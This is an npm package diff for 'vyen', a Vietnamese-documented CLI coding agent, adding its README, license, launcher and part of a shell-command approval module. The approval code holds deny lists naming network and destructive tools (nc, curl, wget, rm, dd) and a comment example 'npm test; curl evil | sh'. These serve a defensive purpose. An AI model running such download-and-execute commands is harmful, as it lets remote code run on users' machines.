@nguyenhuumanh/vyen 0.0.0-stage → 0.3.0

package/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 vyen contributors
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/NOTICE.md

@@ -0,0 +1,25 @@
+# Project identity and references
+
+Vyen CLI is an independent implementation. It is not an official Z.ai,
+DeepSeek, Anthropic or OpenAI product. No ZCode or DeepSeek Harness runtime
+source is copied into this distribution or used as a dependency.
+
+Design references inspected for version 0.1.0:
+
+- [ZCode](https://github.com/zai-org/ZCode), commit
+  `aac4755666d09fdcd70272fcf063c077a639015f` (Apache-2.0): separation of
+  model/provider, runtime, permission, tool and persistence boundaries;
+  explicit ownership of session history and configuration.
+- [DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness), commit
+  `86a402200d95fecef4529d969836f1fe13c6cb0d` (MIT): replaceable capability
+  interfaces, bounded parallel-safe tool scheduling, exclusive mutation
+  barriers, ordered results and conservative recovery after interruption.
+
+Vyen uses the Vercel AI SDK and its provider adapters for protocol handling.
+Dependencies retain their own licenses in their installed package directories.
+The implementation and build process use no official Claude Code binary.
+
+A deeper stream/subagent review for 0.2.1 rechecked ZCode at the same commit
+and DeepSeek Harness at `1517a4dbca0a2789ff1d41ba439600f8547d23fa`.
+See [docs/REFERENCE_REVIEW.md](docs/REFERENCE_REVIEW.md) for exact source links,
+contracts adopted, independent compatibility choices and remaining scope.

package/README.md

@@ -1,3 +1,333 @@
-# Temporary Holding Version
-
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
+# vyen cli
+
+CLI coding agent độc lập, ưu tiên Termux và Windows/Linux/macOS, dùng API của bạn.
+Tham khảo kiến trúc OpenAI Codex, ZCode và DeepSeek Harness; **không fork base và không dùng runtime của các dự án đó**.
+
+## Cài đặt (Termux / Linux / macOS / Windows)
+
+Cài bản GitHub Release mới nhất:
+
+```bash
+# Trên Termux (cài thêm công cụ hệ thống nếu chưa có):
+pkg install nodejs-lts git bash ripgrep
+
+node --version
+npm install -g @nguyenhuumanh/vyen
+vyen --version
+```
+
+Cần Node **22.16 trở lên**; Node 24 cũng được. Bản npm đã chứa JS biên dịch sẵn;
+không cần compiler, pnpm, proot, glibc hay addon native. Thiếu `ripgrep` vẫn có
+search JavaScript dự phòng giới hạn kích thước.
+
+Runtime dependencies được tải từ npm khi cài; gói này không kèm `node_modules`.
+Trên Termux, hãy làm việc trong `$HOME` để có đầy đủ quyền file và executable bit.
+
+## Thiết lập nhanh (`vyen setup` hoặc `vyen init`)
+
+Chạy wizard tương tác để chọn provider, nhập Base URL, lưu API key an toàn
+(`credentials.json` quyền `0600`), tự động quét danh sách model từ `/models` của endpoint
+(không hardcode model) và chọn mức `effort` (nhấn `Esc` bất kỳ lúc nào để huỷ không lưu dở):
+
+```bash
+vyen setup
+# hoặc trong TUI gõ:
+/setup
+```
+
+Hoặc cấu hình bằng lệnh `vyen init` truyền thống:
+
+```bash
+vyen init \
+  --provider openai-compatible \
+  --base-url 'https://YOUR_PROVIDER/v1' \
+  --model 'YOUR_MODEL_ID' \
+  --effort xhigh
+
+# Nhập key ẩn qua biến môi trường (hoặc lưu qua vyen setup / /key):
+read -rsp 'API key: ' VYEN_API_KEY; echo
+export VYEN_API_KEY
+
+cd "$HOME/your-project"
+vyen doctor
+vyen
+```
+
+| Provider | `--provider` | Base URL |
+|---|---|---|
+| Dịch vụ OpenAI-compatible | `openai-compatible` | API root trước `/chat/completions`, thường kết thúc `/v1` |
+| OpenAI Responses-compatible | `openai-responses` | API root trước `/responses` |
+| Anthropic Messages-compatible | `anthropic` | API root trước `/messages`, thường kết thúc `/v1` |
+
+Vyen giữ nguyên đường dẫn Base URL bạn cấu hình (chỉ tự động chuẩn hoá thêm `/v1` cho một số gateway quen thuộc như `api.yuristore.xyz` hoặc `localhost:8000` khi bỏ trống path). Nếu không đặt `baseUrl`, mặc định sẽ dùng `DEFAULT_GATEWAY_URL` (`https://api.yuristore.xyz/v1`). Endpoint phải hỗ trợ tool calling.
+
+## Cách dùng CLI
+
+```bash
+vyen                                              # Mở giao diện TUI toàn màn hình
+vyen resume                                       # Chọn phiên để tiếp tục (thư mục này / mọi dự án), chạy từ bất kỳ đâu
+vyen --resume latest                              # Tương đương vyen resume
+vyen --resume SESSION_UUID -p 'Tiếp tục phần đang làm'
+vyen -p 'Đọc repo, tìm nguyên nhân lỗi và sửa; chạy kiểm tra phù hợp'
+vyen --effort max -p 'Phân tích sâu và tối ưu hiệu năng'
+vyen --read-only -p 'Đọc và giải thích kiến trúc repo'
+vyen --yes -p 'Tự động duyệt mọi thao tác ghi file và bash'
+vyen --json -p 'Kiểm tra dự án'
+printf '%s' 'Giải thích các file chính' | vyen --read-only
+git diff | vyen -p 'Review diff này'              # dữ liệu pipe vào stdin được đính kèm làm ngữ cảnh
+vyen -p 'Giải thích lỗi' < build.log               # tương tự với file chuyển hướng
+vyen -p 'Viết changelog' -o CHANGELOG.draft.md     # ghi câu trả lời cuối ra file (scripting/CI)
+vyen sessions
+```
+
+Mặc định ở chế độ `ask` (yêu cầu chấp thuận khi sửa/ghi file hoặc chạy shell).
+Không có TTY thì những yêu cầu này bị từ chối trừ khi truyền `--yes` (tương đương
+chế độ `auto`). `--read-only` loại bỏ các công cụ ghi/sửa/bash khỏi bộ tool.
+Mã thoát: `0` thành công, `1` lỗi, `2` từ chối quyền, `130` Ctrl+C, `143` SIGTERM.
+
+## Giao diện TUI, Phím tắt & Slash Commands
+
+Khi chạy `vyen` trong terminal, giao diện TUI toàn màn hình tối giản: không khung viền, không
+nền tô màu, dùng màu mặc định của terminal (đẹp trên cả theme sáng lẫn tối).
+
+```
+› Sửa test checkout đang fail
+
+○ Explored
+  └ Read src/cart.ts
+● Ran npm test -- cart (2s)
+± Edited src/cart.ts (+1 -1)
+◆ Tổng tiền tính bằng số thực mà không làm tròn…
+
+⠋ Working  4s   esc to interrupt
+──────────────────────────────────────────────────────────────
+› Ask anything   / commands   @ files   $ skills   ! shell
+ask   glm-5.3-flash   effort max        shop-api (main)   ctx 34%   69k tokens
+```
+
+- **Hội thoại**: Markdown, bảng căn cột, diff màu (`+` xanh, `-` đỏ), khối code có lề mờ, trạng thái tool/subagent theo thời gian thực.
+- **Dòng nhập**: một đường kẻ (chuyển màu hổ phách khi vyen đang chờ bạn trả lời/duyệt quyền), dòng nhập `›` và popup gợi ý `/slash` kèm mô tả.
+- **Dòng trạng thái**: chế độ (`auto-approve` hiện màu hổ phách vì là chế độ rủi ro), model, effort, workspace (nhánh git), todo, % ngữ cảnh do provider báo và tổng token.
+
+### Phím tắt chính
+
+| Phím tắt | Chức năng |
+|---|---|
+| `Ctrl+T` | Bật/tắt **Transcript Mode** toàn màn hình — hiển thị đầy đủ cả khối suy luận (`Thinking`), cuộn xem toàn bộ lịch sử; nhấn `Ctrl+T`, `Esc` hoặc `q` để quay lại ngay |
+| `Shift+Tab` | Chuyển nhanh chế độ quyền: `ask` → `auto` (auto-approve) → `plan` → `readonly` |
+| `Alt+.` / `Alt+,` | Tăng / giảm mức suy luận (`effort`: `low` ↔ `medium` ↔ `high` ↔ `xhigh` ↔ `max`) |
+| `Esc Esc` (nhấn đúp) | Mở bảng **Rewind / Revert** về checkpoint của các lượt trước và khôi phục file |
+| `Up` / `Down` / `Tab` | Di chuyển chọn lệnh trong popup `/slash` (hoặc gọi lại lịch sử lệnh khi không mở popup) |
+| `PgUp` / `PgDn` / Lăn chuột | Cuộn khung hội thoại hoặc khung Transcript |
+| `Ctrl+C` | Huỷ lượt model/tool đang chạy |
+| `Ctrl+D` | Thoát khi ô nhập trống |
+
+### Thực thi lệnh ngay khi Agent đang chạy (`Running`)
+
+Khi model đang suy nghĩ hoặc chạy tool:
+- Gõ các lệnh điều khiển như `/auto`, `/yolo`, `/view`, `/mode`, `/effort`, `/model`,
+  `/status`, `/help`, `/tools`, `/diff`, `/git`, `/todo`, `/plan`, `/copy`, `!<lệnh shell>`
+  sẽ **chạy và áp dụng ngay lập tức** mà không cần chờ xong lượt.
+- Gõ tin nhắn prompt bình thường khi máy đang bận sẽ được đưa vào hàng đợi (`queuedPrompts`)
+  để tự động chạy ngay khi lượt hiện tại kết thúc.
+
+### Danh sách Slash Commands tiêu biểu
+
+- `/auto` (hoặc `/yolo [on|off]`): Bật/tắt chế độ **Auto-Approve** (tự động chấp thuận mọi thao tác sửa file, bash và subagent).
+- `/mode [ask|auto|plan|readonly]`: Xem hoặc đổi chế độ quyền thực thi.
+- `/view [normal|verbose]`: Đổi chế độ hiển thị suy nghĩ (`normal` ẩn khối `Thinking` cho gọn; `verbose` hiện đầy đủ toàn bộ quá trình suy luận).
+- `/transcript`: Bật/tắt chế độ xem Transcript toàn màn hình (giống `Ctrl+T`).
+- `/model [tên_model]` & `/models`: Đổi model hoặc quét trực tiếp danh sách model từ API.
+- `/effort [low|medium|high|xhigh|max|clear]`: Chỉnh mức độ suy luận (`reasoning_effort` / thinking budget).
+- `/resume [latest|số_thứ_tự|id_prefix]`: Mở bảng chọn phiên với 2 tab **This folder** / **All projects** (`←`/`→` hoặc `Tab` để đổi tab, `↑`/`↓` chọn, gõ để lọc theo nội dung, tên thư mục hoặc model, `Enter` để resume). Chọn phiên của dự án khác sẽ tự chuyển workspace sang thư mục đó, nên không cần nhớ phiên nằm ở thư mục nào. `vyen resume` (hoặc `vyen --resume ID`) cũng chạy được từ bất kỳ thư mục nào.
+- `/new`, `/clear`, `/fork [tên]`, `/rename <tiêu_đề>`: Tạo phiên mới, xoá màn hình, nhân bản nhánh hội thoại hoặc đặt tên phiên.
+- `/rewind [N]` & `/revert [N] [both|code|messages]`: Quay lui hội thoại và/hoặc khôi phục trạng thái file về trước lượt thứ `N`.
+- `/undo`: Hoàn tác các thay đổi file của lượt vừa chạy.
+- `/btw <câu_hỏi>`: Hỏi nhanh câu hỏi phụ (ephemeral side question) dựa trên ngữ cảnh hiện tại mà không làm bẩn lịch sử phiên.
+- `/goal [set|done|clear]`, `/memory [list|add|remove|clear]`, `/recap`: Đặt mục tiêu phiên, lưu ghi nhớ dài hạn (`memories.json`) hoặc tóm tắt tiến độ.
+- `/init`, `/skills`, `/mention <path>`: Khởi tạo `AGENTS.md`, liệt kê `SKILL.md` (gọi qua `$skill-name`) hoặc đính kèm `@file`/ảnh.
+- `/diff`, `/git`, `/review`: Xem `git status` + `git diff`, hoặc yêu cầu model review toàn bộ thay đổi hiện tại.
+- `/compact [trọng_tâm]`: Chủ động nén ngữ cảnh hội thoại (có lưu archive đầy đủ trước khi nén).
+- `/setup` (hoặc `/provider`), `/key`, `/doctor`: Cấu hình lại provider (nhấn `Esc` để huỷ), đổi API key (nhập ẩn) hoặc kiểm tra kết nối/môi trường.
+- `/prompts`, `/prompts:<tên> [tham số]`: Liệt kê và chạy prompt tuỳ biến từ file Markdown (xem mục *Prompt tuỳ biến*).
+- `!<lệnh>`: Chạy nhanh lệnh shell trực tiếp ngay trong TUI (ví dụ `!git status`).
+
+### Duyệt quyền nhanh cho lệnh shell
+
+Khi được hỏi `Allow bash?`, ngoài `y` (một lần) và `a` (mọi lệnh bash trong phiên), có thể chọn
+`p` để **chỉ cho phép tiền tố lệnh đó** trong phiên, ví dụ `npm test`, `npm run lint`,
+`python -m pytest`, `git status`. Lệnh ghép hoặc lệnh bọc (`;`, `&&`, `|`, `` ` ``, `$()`, `>`, `env`,
+`sudo`, `bash -c`, gán biến `FOO=1 ...`) không bao giờ được duyệt theo tiền tố, nên
+`npm test; curl ... | sh` vẫn phải hỏi lại. Lệnh cài gói (`npm install x`, `pip install x`…),
+lệnh sửa/xoá file (`rm`, `mv`, `cp`, `chmod`…) và lệnh mạng (`curl`, `wget`…) chỉ được nhớ đúng
+nguyên câu lệnh. Tham số thêm vào sau tiền tố đã duyệt mà trỏ ra ngoài workspace (`/…`, `~`, `..`)
+hoặc bật chế độ ghi/chạy chương trình (`--output`, `--ext-diff`, `-c`, `--exec`…) vẫn phải hỏi lại.
+
+Khi cần chú ý (prompt duyệt quyền, lượt chạy dài ≥ 15 giây vừa xong), vyen phát tiếng chuông
+terminal (`BEL`). Tắt bằng `VYEN_NOTIFY=0`.
+
+### Prompt tuỳ biến (custom slash commands)
+
+Tạo file Markdown trong `.vyen/prompts/` hoặc `.agents/prompts/` (theo dự án),
+`~/.config/vyen/prompts/` hoặc `~/.codex/prompts/` (theo người dùng):
+
+```markdown
+---
+description: Review một file theo checklist của team
+---
+Review $1 theo checklist bảo mật và hiệu năng. Ghi chú thêm: $ARGUMENTS
+```
+
+Chạy bằng `/prompts:review src/app.ts kiểm tra SQL injection`. `$ARGUMENTS` là toàn bộ phần sau
+tên lệnh, `$1`…`$9` là từng từ, `$$` là ký tự `$`.
+
+## Harness, Công cụ & Hoàn tác (Checkpoint / Rewind)
+
+- **Bộ công cụ tích hợp đầy đủ**:
+  - **File & Shell**: `read_file`, `list_files`, `search`, `write_file`, `edit_file`, `apply_patch`, `bash`, `view_image`.
+  - **Kế hoạch & Tương tác**: `todo_read`, `todo_write`, `update_plan`, `request_user_input`, `exit_plan_mode`.
+  - **Subagents (7 công cụ)**: Vòng đời tương tác (`spawn_agent`, `wait_agent`, `send_input`, `close_agent`, `list_agents`) và uỷ thác theo lô (`delegate_task`, `delegate_edit`).
+  - **MCP Resources & Tools**: `list_mcp_resources`, `list_mcp_resource_templates`, `read_mcp_resource` cùng các tool động từ MCP server (`mcp__<server>__<tool>`).
+- **Cơ chế Checkpoint & Rollback nhẹ, chính xác (`/rewind`, `/revert`, `/undo`)**:
+  - Chỉ các file được sửa trực tiếp qua bộ công cụ chỉnh sửa (`write_file`, `edit_file`, `apply_patch` — bao gồm cả subagent worker được uỷ quyền sửa file) mới được ghi nhận bản sao lưu trước lượt chạy (trạng thái tồn tại, nội dung gốc và file mode) để rollback tức thì 100% và không tốn I/O quét toàn bộ workspace khi chạy lệnh shell (`bash`).
+  - File bạn đã sửa tay **sau** lượt của agent sẽ không bị ghi đè khi revert: vyen giữ nguyên và báo xung đột; dùng `/revert N --force` nếu thật sự muốn ghi đè.
+  - Tổng dung lượng bản sao lưu mỗi phiên giới hạn 32 MiB (các lượt cũ nhất bị lược nội dung trước và được báo rõ khi revert), để file phiên không phình to vô hạn.
+- **`apply_patch` đầy đủ định dạng Codex**: hỗ trợ `*** Move to:` (đổi tên/di chuyển), nhiều khối `Update File` cho cùng một file, file thêm mới luôn kết thúc bằng newline; patch chỉ được ghi khi **mọi** hunk đều khớp.
+- **Tự động Retry API**: Khi gặp lỗi mạng hoặc lỗi upstream tạm thời (HTTP `5xx`, `429`, `408`, lỗi đóng stream/socket bất ngờ), Harness tự động thử lại tối đa **3 lần** với exponential backoff + jitter, tôn trọng header `Retry-After` (tối đa 20 giây) trước khi dừng.
+- **Đọc song song**: tối đa 6 lời gọi tool chỉ-đọc liên tiếp (`read_file`, `search`, `list_files`, MCP read-only…) chạy đồng thời; thao tác ghi và shell vẫn tuần tự theo đúng thứ tự model yêu cầu.
+- **Hiển thị đầy đủ Unified Diff**: `computeUnifiedDiff` hiển thị trọn vẹn số dòng thêm/xoá thực tế (`+N -M`, hỗ trợ tới 5.000 dòng mỗi hunk).
+- **Bảo vệ chống lỗi file `nul` trên Windows**:
+  - Tự động chuyển hướng `>nul`, `2>nul`, `>>NUL`, `>/dev/nul` trong lệnh `bash` trên Windows về `/dev/null` an toàn (`sanitizeBashCommand`).
+  - `WorkspaceFiles` từ chối tạo các tên thiết bị dành riêng của Windows (`nul`, `con`, `prn`, `aux`, `com1-9`, `lpt1-9`) trên mọi nền tảng để giữ an toàn cho Git repo đa nền tảng.
+  - `unlinkSafe` hỗ trợ xoá cả các file tên thiết bị bị tạo nhầm trước đó thông qua đường dẫn mở rộng `\\?\`.
+- **An toàn phiên & file**:
+  - Lưu phiên atomic, lock tiến trình, tự động dọn phiên rỗng (`0 messages`) khi thoát hoặc đổi phiên.
+  - Ghi file theo temporary file + `chmod` + `rename`, bảo toàn nguyên vẹn quyền file (`0755`, umask `027`/`007`).
+
+## Bảo mật
+
+- Approval chỉ dựa trên chế độ **hiện tại**: chuyển từ `auto`/`--yes` về `ask`/`plan` có hiệu lực ngay cho lời gọi tool kế tiếp.
+- API key của vyen (`VYEN_API_KEY` và biến trong `keyEnv`) bị loại khỏi môi trường của mọi tiến trình con (`bash`, `!cmd`, `rg`, `git`), nên model hoặc prompt-injection không thể `env`/`curl` để lấy key. Nếu dự án của bạn cần chính biến đó khi chạy test, hãy dùng một biến khác cho vyen (`--key-env`).
+- Tool đọc ảnh do model gọi (`view_image`, `@ảnh` trong prompt của subagent) chỉ đọc trong workspace; ảnh ngoài workspace cần bạn duyệt. Ảnh bạn tự kéo/thả hoặc dán vẫn đọc được ở bất kỳ đâu.
+- Tool bị ẩn ở chế độ hiện tại (ví dụ `view_image`, subagent trong `--read-only`) không thể bị gọi "chui" bằng tên.
+- API key luôn nhập ẩn (`vyen setup`, `/setup`, `/key`); `vyen doctor` cảnh báo `credentials.json` có quyền quá rộng và base URL `http://` không phải loopback (key bị gửi dạng rõ).
+- Lưu ý: approval **không phải sandbox của hệ điều hành**; lệnh shell đã duyệt chạy với quyền của user hiện tại.
+
+## Reasoning, Thinking Replay & Gateway Inline Think
+
+- **Bảo toàn `reasoning_content` qua nhiều bước tool (`withReasoningReplay`)**:
+  - Với các endpoint `openai-compatible` ở chế độ thinking (DeepSeek, GLM, Kimi, v.v.), `vyen-cli` giữ nguyên 100% `reasoning_content` thật của model qua các bước gọi tool và resume.
+  - Khi chế độ thinking đang bật (qua `--effort` hoặc lịch sử có khối reasoning) mà có bước `assistant` gọi tool nhanh không sinh thinking, `withReasoningReplay` tự động đính kèm `reasoning_content: ""` trên bản chiếu request để tránh lỗi HTTP 400 (`reasoning_content ... must be passed back`) mà không bao giờ chèn chuỗi giả vào lịch sử lưu trên đĩa.
+- **Tách `<think>...</think>` inline khi stream (`AnswerProjection`)**:
+  - Gateway trả `<think>...</think>` ở đầu `content` được tách ngay khi stream, kể cả khi thẻ bị cắt giữa nhiều chunk. Chỉ phần answer đi vào kết quả cuối và report của agent con.
+  - Native reasoning, chữ ký (`signature`) của Anthropic và provider metadata trong transcript gốc vẫn được giữ nguyên.
+
+```bash
+vyen --show-reasoning --json -p 'Kiểm tra dự án'  # xuất event reasoning riêng
+vyen --show-reasoning -p 'Kiểm tra dự án'         # hiển thị reasoning trên stderr/TUI
+vyen --inline-reasoning off -p 'Trả tài liệu XML bắt đầu bằng <think>'
+```
+
+## MCP (Model Context Protocol)
+
+Vyen dùng MCP SDK chính thức, hỗ trợ **tools và resources qua stdio và Streamable HTTP**.
+Tạo `~/.config/vyen/mcp.json` (hoặc `$XDG_CONFIG_HOME/vyen/mcp.json`):
+
+```json
+{
+  "servers": {
+    "remote": {
+      "transport": "http",
+      "url": "https://YOUR_MCP_HOST/mcp",
+      "bearerEnv": "MY_MCP_TOKEN",
+      "readOnlyTools": []
+    }
+  }
+}
+```
+
+```bash
+vyen mcp list           # xem cấu hình, không kết nối
+vyen mcp check          # kết nối và in tên tool gốc/tên namespaced
+vyen mcp import-codex   # nhập nhanh các MCP server từ ~/.codex/config.toml
+vyen                    # tự nạp các server đã bật
+vyen --no-mcp           # bỏ qua MCP trong lượt này
+```
+
+Xem [docs/MCP.md](docs/MCP.md) để biết chi tiết cấu hình stdio, biến môi trường và giới hạn.
+
+## Subagents (Tương tác nền & Uỷ thác theo lô)
+
+- **Vòng đời tương tác kiểu Codex (`spawn_agent`, `wait_agent`, `send_input`, `close_agent`, `list_agents`)**:
+  - Khởi chạy agent con (`explorer` chỉ đọc hoặc `worker` có quyền sửa file) chạy nền song song, gửi thêm chỉ dẫn bằng `send_input` và thu hoạch kết quả qua `wait_agent`.
+- **Uỷ thác theo lô (`delegate_task` & `delegate_edit`)**:
+  - `delegate_task`: chia tối đa 4 việc đọc/review độc lập, tối đa 2 agent chạy đồng thời.
+  - `delegate_edit`: chia tối đa 4 việc sửa file, chạy tuần tự; tôn trọng chế độ duyệt quyền (`ask` hoặc `auto`/`--yes`) của phiên cha.
+
+```bash
+vyen --read-only -p 'Dùng spawn_agent hoặc delegate_task để khảo sát cấu trúc repo và tìm rủi ro trong test'
+vyen -p 'Dùng delegate_edit để sửa lỗi trong src/files.ts và bổ sung regression test'
+vyen --no-subagents -p 'Đọc repo và làm trực tiếp'
+```
+
+## Cấu hình và Dữ liệu
+
+- Config: `$XDG_CONFIG_HOME/vyen/config.json` (mặc định `~/.config/vyen/config.json`).
+- Credentials (API Keys): `$XDG_CONFIG_HOME/vyen/credentials.json` (quyền `0600`).
+- Memories & Presets: `$XDG_CONFIG_HOME/vyen/memories.json`, `$XDG_CONFIG_HOME/vyen/presets.json`.
+- Sessions: `$XDG_DATA_HOME/vyen/sessions/` (mặc định `~/.local/share/vyen/sessions/`).
+- Archives: `SESSION_UUID.compact-N.json` trong cùng thư mục session.
+- Ưu tiên: cờ CLI > biến `VYEN_*` > config người dùng > mặc định.
+
+Các biến môi trường hỗ trợ: `VYEN_PROVIDER`, `VYEN_BASE_URL`, `VYEN_MODEL`, `VYEN_EFFORT`,
+`VYEN_KEY_ENV`, `VYEN_API_KEY`, `VYEN_CONTEXT_WINDOW`, `VYEN_MAX_OUTPUT_TOKENS`,
+`VYEN_TIMEOUT_MS`, `VYEN_RUN_TOKEN_BUDGET`, `VYEN_INLINE_REASONING`, `VYEN_NOTIFY` (`0` để tắt chuông).
+
+- Prompt tuỳ biến: `.vyen/prompts/*.md`, `.agents/prompts/*.md`, `$XDG_CONFIG_HOME/vyen/prompts/*.md`, `~/.codex/prompts/*.md`.
+- Chỉ mục phiên: `sessions/.index.json` (cache tóm tắt theo kích thước + mtime, tự dựng lại khi hỏng hoặc bị xoá).
+
+Context mặc định `128.000` token, output `16.384` token, timeout mỗi request `300.000` ms,
+và **không giới hạn token mỗi lượt chạy theo mặc định** (`runTokenBudget = 0`) để
+tránh ngắt giữa chừng các tác vụ dài. Nếu muốn đặt trần token cho một lượt chạy:
+
+```bash
+vyen --run-token-budget 200000 -p 'Tác vụ có giới hạn ngân sách token'
+```
+
+## Phát triển & Kiểm thử
+
+```bash
+npm ci
+npm run typecheck
+npm run lint
+npm test
+(umask 027; node --test tests/*.test.mjs)
+(umask 007; node --test tests/*.test.mjs)
+npm run build
+npm install -g . --omit=dev
+```
+
+| File | Trách nhiệm |
+|---|---|
+| `src/harness.ts` | Agent loop, retry API, điều phối tool, checkpoint, `/btw`, usage, cancellation |
+| `src/provider.ts` | Chọn adapter API, quét `/models`, truyền `reasoningEffort` / thinking budget |
+| `src/setup.ts` | Setup wizard tương tác (`Esc` để huỷ), quét `/models` động, lưu `credentials.json` |
+| `src/tools.ts`, `src/approval.ts` | Registry, schema, alias chuẩn hoá, `sanitizeBashCommand`, approval và duyệt theo tiền tố lệnh |
+| `src/prompts.ts`, `src/help.ts` | Prompt tuỳ biến `/prompts:<tên>`; nội dung `--help` (nạp nhanh, không kéo SDK) |
+| `src/files.ts`, `src/process.ts` | File I/O, unified diff, patch, backup cho /undo, bảo vệ `nul`, subprocess và lọc biến môi trường bí mật |
+| `src/session.ts` | Lock, checkpoint, rewind, resume và sửa lịch sử bị ngắt |
+| `src/context.ts` | System prompt, `AGENTS.md`, `SKILL.md`, `memories.json`, `presets.json` và compaction |
+| `src/cli.ts`, `src/tui.ts` | Flags, giao diện TUI, Transcript Mode (`Ctrl+T`), popup `/slash` |
+| `src/mcp.ts` | MCP client, stdio/HTTP transport, resources, `import-codex`, lifecycle |
+| `src/subagents.ts` | `spawn_agent`/`wait_agent` & `delegate_task`/`delegate_edit`, concurrency, budget |
+| `src/reasoning.ts` | `withReasoningReplay` (`reasoning_content`), `AnswerProjection`, giữ transcript gốc |
+
+## Repository & Tự động Release
+
+- Source: [syxgamer122/Vyen-cli](https://github.com/syxgamer122/Vyen-cli)
+- Bản cài và checksum: [GitHub Releases](https://github.com/syxgamer122/Vyen-cli/releases)
+
+Mỗi lần push lên `main` (trừ khi commit có `[skip ci]`), workflow `Check and release`
+sẽ chạy toàn bộ typecheck, lint, test (Node 22.16 & Node 24 + restrictive umasks),
+tự động tăng phiên bản patch, đóng gói `.tgz` kèm `SHA256SUMS.txt` và phát hành
+GitHub Release mới.

package/bin/vyen.mjs

@@ -0,0 +1,13 @@
+#!/usr/bin/env node
+// Fast path: answer --version / --help without loading the AI SDK, MCP SDK and TUI (~10x faster).
+const args = process.argv.slice(2);
+if (args.length === 1 && (args[0] === '--version' || args[0] === '-v')) {
+  const { VERSION } = await import('../dist/version.js');
+  process.stdout.write(`vyen cli ${VERSION}\n`);
+} else if (args.length === 1 && (args[0] === '--help' || args[0] === '-h')) {
+  const { HELP } = await import('../dist/help.js');
+  process.stdout.write(HELP);
+} else {
+  const { main } = await import('../dist/cli.js');
+  await main();
+}

package/dist/approval.d.ts

@@ -0,0 +1,12 @@
+/**
+ * The command prefix a user can approve once for the rest of the session ("npm test",
+ * "npm run lint", "python -m pytest", "git status"). Undefined for compound or unusual commands,
+ * which always need an explicit decision. File-mutating, network and package-install commands
+ * return the whole command line, so only that exact command is remembered.
+ */
+export declare function bashApprovalPrefix(input: unknown): string | undefined;
+/**
+ * True when the command is a simple command that starts, token by token, with an approved prefix
+ * and whose extra arguments neither leave the workspace nor use a risky option.
+ */
+export declare function isApprovedBashPrefix(input: unknown, prefixes: ReadonlySet<string>): boolean;

package/dist/approval.js

@@ -0,0 +1,93 @@
+/**
+ * Session-scoped approval of simple shell command prefixes. Kept dependency-free so the CLI can
+ * import it without loading the tool registry.
+ *
+ * Approving the prefix "npm test" lets later commands that start with exactly those words run
+ * without a prompt. Extra arguments are allowed only while they stay harmless: anything that
+ * points outside the workspace or switches a command into "write a file / run a program" mode
+ * still asks.
+ */
+// Anything that can chain, substitute, redirect or group commands disqualifies a command from
+// prefix approval: "npm test; curl evil | sh" must never ride on an approved "npm test".
+const SHELL_META_RE = /[;&|`$<>(){}\\\n\r]/;
+const LAUNCHER_SUBCOMMANDS = new Set(['run', 'exec', 'x', 'dlx', '-m']);
+// Commands that run other commands or rewrite their environment: never approvable by prefix.
+const ALWAYS_EXPLICIT = new Set([
+    'env', 'sudo', 'doas', 'su', 'xargs', 'eval', 'exec', 'command', 'builtin', 'source', '.', 'nohup',
+    'time', 'nice', 'timeout', 'watch', 'ssh', 'find', 'bash', 'sh', 'zsh', 'fish', 'dash', 'pwsh', 'powershell',
+]);
+// Interpreters may be approved for a specific script/module ("python -m pytest", "node build.js"),
+// never as a bare single-word prefix that would cover any flag combination.
+const INTERPRETERS = new Set(['python', 'python3', 'node', 'deno', 'bun', 'ruby', 'perl', 'php', 'awk', 'sed', 'git']);
+// Commands whose arguments decide everything (what gets deleted, moved, downloaded, killed):
+// only the exact same command line is remembered.
+const EXACT_ONLY = new Set([
+    'rm', 'rmdir', 'mv', 'cp', 'ln', 'chmod', 'chown', 'chgrp', 'dd', 'truncate', 'shred', 'mkfs',
+    'curl', 'wget', 'scp', 'rsync', 'nc', 'ncat', 'kill', 'pkill', 'killall', 'docker', 'podman', 'kubectl',
+]);
+// Installing packages runs third-party install scripts: "npm install lodash" must not also cover
+// "npm install some-other-package".
+const PACKAGE_MANAGERS = new Set(['npm', 'pnpm', 'yarn', 'bun', 'pip', 'pip3', 'uv', 'poetry', 'cargo', 'go', 'gem', 'composer', 'apt', 'apt-get', 'pkg', 'brew', 'dnf', 'pacman']);
+const INSTALL_SUBCOMMANDS = new Set(['install', 'i', 'add', 'ci', 'update', 'upgrade', 'up', 'get', 'remove', 'rm', 'uninstall', 'un', 'sync']);
+// Options that make an otherwise read-only command write files, load config or run programs
+// (git diff --output=..., git diff --ext-diff, git -c core.pager=..., --exec, --upload-pack ...).
+const RISKY_OPTION_RE = /^--?(?:o|output|out|outfile|out-file|outdir|out-dir|output-dir|exec|ext-diff|upload-pack|receive-pack|config|c|eval|e|command|shell|pager|editor|global|prefix|target-dir|init-file|rcfile|require|r|import|loader)(?:=|$)/i;
+function commandTokens(input) {
+    const command = input && typeof input === 'object' ? input.command : undefined;
+    if (typeof command !== 'string')
+        return undefined;
+    const trimmed = command.trim();
+    if (!trimmed || SHELL_META_RE.test(trimmed) || /["']/.test(trimmed))
+        return undefined;
+    return trimmed.split(/\s+/);
+}
+/** An argument that names something outside the workspace (absolute, home-relative or `..`). */
+function leavesWorkspace(token) {
+    const value = token.includes('=') ? token.slice(token.indexOf('=') + 1) : token;
+    return /^(?:\/|~|[A-Za-z]:[\\/]|\\\\)/.test(value) || /(?:^|[\\/])\.\.(?:[\\/]|$)/.test(value);
+}
+/**
+ * The command prefix a user can approve once for the rest of the session ("npm test",
+ * "npm run lint", "python -m pytest", "git status"). Undefined for compound or unusual commands,
